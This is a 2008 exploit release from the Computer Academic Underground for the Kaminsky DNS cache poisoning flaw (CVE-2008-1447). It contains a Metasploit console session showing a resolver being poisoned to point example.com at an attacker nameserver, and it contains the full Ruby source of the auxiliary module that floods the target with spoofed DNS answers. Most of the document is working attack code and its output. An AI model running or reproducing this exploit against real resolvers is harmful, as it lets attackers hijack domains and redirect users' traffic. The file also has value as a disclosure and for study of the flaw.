____      ____     __    __
                     /    \    /    \   |  |  |  |
        ----====####/  /\__\##/  /\  \##|  |##|  |####====----
                   |  |      |  |__|  | |  |  |  |
                   |  |  ___ |   __   | |  |  |  |
  ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
                     \____/  |__|  |__|  \______/


       Computer Academic Underground
                        http://www.caughq.org
                            Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0003
Release Date:   2008.07.23
Title:          bailiwicked_domain.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email:   I)ruid <druid (@) caughq.org>
                H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain.  By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.  This insertion completely replaces the original nameserver
records for the target domain.

Example
=======

# /msf3/msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
       =[ 73 aux

msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*]  >> ADDRESS: A.B.C.D  PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

b.iana-servers.net.
a.iana-servers.net.

msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            171957  IN      NS      b.iana-servers.net.
[*]   Querying recon nameserver for address of b.iana-servers.net....
[*]    Got an A record: b.iana-servers.net.     171028  IN      A       193.0.0.236
[*]     Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*]     b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            171957  IN      NS      a.iana-servers.net.
[*]   Querying recon nameserver for address of a.iana-servers.net....
[*]    Got an A record: a.iana-servers.net.     171414  IN      A       192.0.34.43
[*]     Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*]     a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed

msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

dns01.metasploit.com.

Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

Cedric Blancher <sid (@) rstack.org> figured out the NS injection method and
was cool enough to email us and share!

References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113

Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary

  include Exploit::Remote::Ip

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DNS BailiWicked Domain Attack',
      'Description'    => %q{
        This exploit attacks a fairly ubiquitous flaw in DNS implementations which
        Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target
        domains nameserver entries in a vulnerable DNS cache server. This attack works
        by sending random hostname queries to the target DNS server coupled with spoofed
        replies to those queries from the authoritative nameservers for that domain.
        Eventually, a guessed ID will match, the spoofed packet will get accepted, and
        the nameserver entries for the target domain will be replaced by the server
        specified in the NEWDNS option of this exploit.
      },
      'Author'         =>
        [
        '  I)ruid', 'hdm',
                                                #
          'Cedric Blancher <sid[at]rstack.org>' # Cedric figured out the NS injection method
                                                # and was cool enough to email us and share!
                                                #
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 5591 $',
      'References'     =>
        [
          [ 'CVE', '2008-1447' ],
          [ 'US-CERT-VU', '8000113' ],
          [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
        ],
      'DisclosureDate' => 'Jul 21 2008'
      ))

      register_options(
        [
          OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
          OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
          OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
          OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
          OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
          OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
        ], self.class)

  end

  def auxiliary_commands
    return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
  end

  def cmd_check(*args)
    targ = args[0] || rhost()
    if(not (targ and targ.length > 0))
      print_status("usage: check [dns-server]")
      return
    end

    print_status("Using the Metasploit service to verify exploitability...")
    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => targ,
      'PeerPort' => 53
    )    

    random = false
    ports  = []
    lport  = nil

    1.upto(5) do |i|

      req = Resolv::DNS::Message.new
      txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
      req.rd = 1

      srv_sock.put(req.encode)
      res, addr = srv_sock.recvfrom()

      if res and res.length > 0
        res = Resolv::DNS::Message.decode(res)
        res.each_answer do |name, ttl, data|
          if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
            t_addr, t_port = $1.split(':')

            print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
            t_port = t_port.to_i
            if(lport and lport != t_port)
              random = true
            end
            lport  = t_port
            ports << t_port
          end
        end
      end
    end

    srv_sock.close

    if(ports.length < 5)
      print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
      return
    end

    if(random)
      print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
      print_status("      This server may still be exploitable, but not by this tool.")
    else
      print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
    end
  end

  def run
    target  = rhost()
    source  = Rex::Socket.source_address(target)
    sport   = datastore['SRCPORT']
    domain  = datastore['DOMAIN'] + '.'
    newdns  = datastore['NEWDNS']
    recons  = datastore['RECONS']
    xids    = datastore['XIDS'].to_i
    newttl  = datastore['TTL'].to_i
    xidbase = rand(20001) + 20000

    address = Rex::Text.rand_text(4).unpack("C4").join(".")

    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => target,
      'PeerPort' => 53
    )

    # Get the source port via the metasploit service if it's not set
    if sport.to_i == 0
      req = Resolv::DNS::Message.new
      txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
      req.rd = 1

      srv_sock.put(req.encode)
      res, addr = srv_sock.recvfrom()

      if res and res.length > 0
        res = Resolv::DNS::Message.decode(res)
        res.each_answer do |name, ttl, data|
          if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
            t_addr, t_port = $1.split(':')
            sport = t_port.to_i

            print_status("Switching to target port #{sport} based on Metasploit service")
            if target != t_addr
              print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
            end
          end
        end
      end
    end

    # Verify its not already poisoned
    begin
      query = Resolv::DNS::Message.new
      query.add_question(domain, Resolv::DNS::Resource::IN::NS)
      query.rd = 0

      begin
        cached = false
        srv_sock.put(query.encode)
        answer, addr = srv_sock.recvfrom()

        if answer and answer.length > 0
          answer = Resolv::DNS::Message.decode(answer)
          answer.each_answer do |name, ttl, data|

            if((name.to_s + ".") == domain and data.name.to_s == newdns)
              t = Time.now + ttl
              print_status("Failure: This domain is already using #{newdns} as a nameserver")
              print_status("         Cache entry expires on #{t.to_s}")
              srv_sock.close
              disconnect_ip
              return
            end
          end

        end
      end until not cached
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
    end

    res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

    print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"

    # Look up the nameservers for the domain
    print_status "Querying recon nameserver for #{domain}'s nameservers..."
    answer0 = res0.send(domain, Net::DNS::NS)
    #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

    barbs = [] # storage for nameservers
    answer0.answer.each do |rr0|
      print_status " Got an #{rr0.type} record: #{rr0.inspect}"
      if rr0.type == 'NS'
        print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
        answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
        #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
        answer1.answer.each do |rr1|
          print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
          res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
          print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
          answer2 = res2.send(domain)
          if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
            nsrec = {:name => rr0.nsdname, :addr => rr1.address}
            barbs << nsrec
            print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
          end
        end
      end
    end

    if barbs.length == 0
      print_status( "No DNS servers found.")
      srv_sock.close
      disconnect_ip
      return
    end

    # Flood the target with queries and spoofed responses, one will eventually hit
    queries = 0
    responses = 0

    connect_ip if not ip_sock

    print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")

    while true
      randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

      # Send spoofed query
      req = Resolv::DNS::Message.new
      req.id = rand(2**16)
      req.add_question(randhost, Resolv::DNS::Resource::IN::A)

      req.rd = 1

      buff = (
        Scruby::IP.new(
          #:src   => barbs[0][:addr].to_s,
          :src   => source,
          :dst   => target,
          :proto => 17
        )/Scruby::UDP.new(
          :sport => (rand((2**16)-1024)+1024).to_i,
          :dport => 53
        )/req.encode
      ).to_net
      ip_sock.sendto(buff, target)
      queries += 1

      # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
      req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
      req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
      req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
      req.qr = 1
      req.aa = 1

      xidbase.upto(xidbase+xids-1) do |id|
        req.id = id
        barbs.each do |barb|
          buff = (
            Scruby::IP.new(
              #:src   => barbs[i][:addr].to_s,
              :src   => barb[:addr].to_s,
              :dst   => target,
              :proto => 17
            )/Scruby::UDP.new(
              :sport => 53,
              :dport => sport.to_i
            )/req.encode
          ).to_net
          ip_sock.sendto(buff, target)
          responses += 1
        end
      end

      # status update
      if queries % 1000 == 0
        print_status("Sent #{queries} queries and #{responses} spoofed responses...")
      end

      # every so often, check and see if the target is poisoned...
      if queries % 250 == 0
        begin
          query = Resolv::DNS::Message.new
          query.add_question(domain, Resolv::DNS::Resource::IN::NS)
          query.rd = 0

          srv_sock.put(query.encode)
          answer, addr = srv_sock.recvfrom()

          if answer and answer.length > 0
            answer = Resolv::DNS::Message.decode(answer)
            answer.each_answer do |name, ttl, data|
              if((name.to_s + ".") == domain and data.name.to_s == newdns)
                print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}")
                srv_sock.close
                disconnect_ip
                return
              end
            end
          end
        rescue ::Interrupt
          raise $!
        rescue ::Exception => e
          print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
        end
      end

    end

  end

end
end
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